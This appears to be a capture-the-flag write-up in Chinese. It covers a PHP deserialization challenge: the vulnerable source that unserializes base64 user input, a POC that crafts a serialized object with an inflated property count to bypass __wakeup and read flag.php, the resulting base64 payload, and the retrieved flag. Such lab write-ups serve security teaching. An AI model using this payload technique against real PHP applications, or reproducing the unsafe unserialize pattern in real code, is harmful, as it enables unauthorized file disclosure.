源码
<?php
error_reporting(0);
class happy { protected $file = 'index.php';
public function __construct($file) { $this->file = $file; }
function __destruct() { printf("%s\n", __METHOD__); if (!empty($this->file)) { if (strchr($this->file, "\\") === false && strchr($this->file, '/') === false) { $filename = dirname(__FILE__) . '/' . $this->file; echo file_get_contents($filename); } else echo "错误的文件名\n"; } }
function __wakeup() { printf("%s\n", __METHOD__); $this->file = 'index.php'; }
public function __toString() { printf("%s\n", __METHOD__); return ''; } }
if (isset($_REQUEST['Sonder'])) { $file = base64_decode($_REQUEST['Sonder']); echo unserialize($file); } else echo "系统检测发现该处漏洞,进行攻击测试\n"; ?>
|
POC
<?php class happy { protected $file = 'index.php';
public function __construct($file) { $this->file = $file; } } $Happy = new happy('flag.php');
$s = 'O:5:"happy":2:{s:7:"'.chr(0).'*'.chr(0).'file";s:8:"flag.php";}'; echo base64_encode($s);
|
Tzo1OiJoYXBweSI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
|
传入payload
得到
happy::__destruct Sonder{135d79-ba631f65200a5f-870225232871-7af1e740}
|
unserialize
先找找看有无 __wakeup()
,__destruct()
,无论代码多么复杂,这是pop链的入口
happy
类中还有 __wakeup()
方法会将$file
的值改变,在unserialize
时会先执行__wakeup()
,因此要想办法绕过__wakeup()
tips
protected属性在序列化过后参数前面的标识符为\00*\00
(\00
为空字符), 但是直接用\00
的时候不能成功输出 ,使用chr(0)
来拼接代替